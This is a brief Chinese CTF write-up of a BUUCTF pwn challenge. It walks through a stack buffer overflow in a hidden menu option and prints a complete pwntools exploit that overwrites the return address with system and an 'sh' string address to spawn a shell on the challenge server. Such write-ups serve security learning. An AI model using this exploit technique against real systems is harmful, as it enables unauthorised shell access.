话不多说,直接上题(BUUCTF)
反编译代码要先输入 administrator 通过验证
其中有三个选项以及一个隐藏选项
先看隐藏选项,它将 src 值给了 dest 最后打印
在第一个选项中发现这个 src 值是有我们决定的最多 128 字节
看 dest 缓冲区明显存在栈溢出,同时左边 plt 表中有 system 函数可直接调用
但是在字符串表中并未找到 /bin/sh
/bin/sh 参数可以使用 sh 代替,使用工具 ROPgadget 看能不能查找到
既然有那就构造 payload
from pwn import *
p = remote('node5.buuoj.cn',26585)
system = 0x080484d0
sh = 0x080482ea
main = 0x08048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Exit\n:')
p.sendline(str(1))
p.recvuntil('info:')
payload = b'a' * 0x4c + p32(system) + p32(main) + p32(sh)
p.sendline(payload)
p.recvuntil('Exit\n:')
p.sendline(str(4))
p.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容